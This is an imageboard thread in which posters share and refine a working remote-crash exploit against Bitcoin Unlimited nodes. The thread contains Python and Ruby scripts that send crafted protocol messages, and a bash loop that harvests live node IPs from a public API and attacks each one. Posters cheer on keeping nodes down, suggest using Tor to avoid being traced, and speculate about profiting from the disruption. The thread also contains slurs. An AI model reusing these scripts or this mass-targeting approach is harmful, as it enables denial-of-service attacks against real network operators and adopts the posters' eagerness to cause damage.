[Python]Remote Crash 0day Bitcoin Unlimited all versions

>>59404983
>python 2

>>59405236
exploit is still an exploit you can port it if you want

>>59404983
Total noob here. What would be the point of crashing people other than upsetting them?

>>59405403
Political speech, BU nodes want to hardfork

>>59405403
BU is garbage statefunded by China and promoted by CIA-bribed Gavin Andressen. Serves them well, the idea of handling a 20 billion dollar project into a bunch of retards was laughable from day one. Kill it with fire, Core devs win another day.

>>59406090
So I take you you are running a copy now too.

>>59406104
Can we reach 0 nodes?

Anyway, isn't it already patched?

>>59406661
How would you filter all the Bitcoin unlimited nodes, I'm trying to automate the script a bit better

curl -H "Accept: application/json; indent=4" "https://bitnodes.21.co/api/v1/snapshots/latest/" >> nodes.json

>>59406801

curl -s -H "Accept: application/json; indent=4" "https://bitnodes.21.co/api/v1/snapshots/latest/" | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"

Will list all IPs, you still need to filter by useragent

>>59406801
Winfag here, with 0.14.0 you can easily select a bunch of nodes and ban them, I have no idea about the command line to automate it tho. There should be a command line that you can use in the console.

>>59407659
Banning a node is not what we want to do, we want to crash BU nodes.

So far I have this script

for ip in $(curl -s -H "Accept: application/json; indent=4" "https://bitnodes.21.co/api/v1/snapshots/latest/" | grep -i -B 2 "unlimited" | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)")
do
    python2 bitcoinunlimited.py $ip
done

https://coin.dance/nodes/unlimited

roger + jihan on suicide watch

lets keep attacking

ps: this would have been epic after ver sold his BTC coins for BTE (assuming he actually would do that after the fork)

>>59407699
Your script tries to attark 1.0.1.1 a lot.
FIX IT NIGGA

>>59408633
bitcoinunlimited.py

#!/usr/bin/env python
import binascii
import socket
import time
import sys
import argparse

BUFFER_SIZE = 1024
VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000")
GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")

if len(sys.argv) > 2:
    TCP_PORT = int(sys.argv[2])
    TCP_IP = sys.argv[1]
elif len(sys.argv) > 1:
    TCP_PORT = 8333
    TCP_IP = sys.argv[1]
else:
    print "Usage: %s ip [port]" % sys.argv[0]
    exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(VERSION)

data = s.recv(BUFFER_SIZE)
time.sleep(1)

s.send(GET_XTHIN)
time.sleep(1)
s.close()

print "received data:", data

attack.sh

for ip in $(curl -s -H "Accept: application/json; indent=4" "https://bitnodes.21.co/api/v1/snapshots/latest/" | grep -i -B 2 "unlimited" | awk 'NR % 4 == 1' | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)")
do
    echo "Attacking Bitcoin Unlimited Node on $ip"
    python2 bitcoinunlimited.py $ip
done

Running because fuck shit software
Thanks anons

File: WWDC 2016 - 5K Large By Jason Zigrino.png (637KB, 5120x2880px) Image search: [Google]

637KB, 5120x2880px

>>59404983
Ruby port for the python haters.

require 'socket'
require 'time'

arguments = ARGV
BUFFER_SIZE = 1024
VERSION = "f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000".unpack('H*')
GET_XTHIN = "f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001".unpack('H*')

if arguments.length > 2 then
  TCP_PORT = arguments[2].to_i
  TCP_IP = arguments[1]
elsif arguments.length > 1 then
  TCP_PORT = 8333
  TCP_IP = arguments[1]
else
  puts("Usage: #{arguments[0]} [IP ADDRESS] [PORT]")
  exit
end

socket = TCPSocket.open(TCP_IP, TCP_PORT)
socket.print(VERSION)

response = socket.recv(BUFFER_SIZE)
sleep(1)

socket.print(GET_XTHIN)
sleep(1)
socket.close()

looks like nodes are slowly getting updated

time to find out how to fuck up the new version

bump for mischeif

Python dev here use this updated script. It adds a socket timeout to prevent blocking.

[/code]
#!/usr/bin/env python
import binascii
import socket
import time
import sys
import argparse

BUFFER_SIZE = 1024
VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000")
GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")

if len(sys.argv) > 2:
TCP_PORT = int(sys.argv[2])
TCP_IP = sys.argv[1]
elif len(sys.argv) > 1:
TCP_PORT = 8333
TCP_IP = sys.argv[1]
else:
print "Usage: %s ip [port]" % sys.argv[0]
exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((TCP_IP, TCP_PORT))
s.send(VERSION)
[/code]

does this only affect bitcoin unlimited, or bitcoin core in general?

>>59409434
Bitcoin Unlimited only

>>59409447
Anyone else still nuking nodes down?

>>59410556
Most of them appear to have been updated to the patched version

>>59410786
there used to be 700 are we still keeping the unpatched one's down?

Eh, I guess I am not motivated to do this without financial gain out of it, also,

>scared might get tracked

>0day

not really 0day when you publish the source, and they patch it within a few hours.

>>59411026
Bitcoin prices can drop if there is a hardfork.
Bitcoin core staying popular protects your investment in bitcoin.

Use tor to send the packets

>>59411065
so youre saying I can lower price of bitcoins, invest, then sell when they go back up?

>>59411065
>use tor to send the packets

Hmm, gives me a reason to fire up my RPI tor proxy AP.

>>59411079
If you can force a hardfork, and how do you know it will go back up and not stay down forover

>>59411094
oh well there goes my motivation.

>>59411102
You realize nuking these nodes keeps the hardfork away, by not running it you risk losing money

>>59411151
I don't have investment in BTC.

>>59411202
catch up slacker

>>59411362
>tfw i dont have grand to drop in BTC, tfw I only have 200 dollars to my name.

>>59411390
you can buy .00000001 of a coin if needed.
Bitcoin unlike stocks are dividable.

>>59411390
>I cant buy BTC because you can only buy entire BTC units
>2017
kys

>>59411053
Yes it is.

File: 1487784419585.jpg (222KB, 914x1200px) Image search: [Google]

222KB, 914x1200px

Bitcoin noob here.
What's the VERSION thing do?
And what IP/port am I supposed to give it?

>>59413609
here your (you)
2/10 making me reply.

>>59413793
refer to this post here. >>59408657
"attack.sh" grabs the ip for you, then gives them to "bitcoinunlimited.py"

lol fucking script kiddies
Learn a real programming language with strong static typing.

the botnet has already been patched, nodes are at an all time high

how do we keep fucking with them?

File: 4505.jpg (376KB, 935x903px) Image search: [Google]

376KB, 935x903px

>>59408633
>attark

>>59417169
Python is strongly typed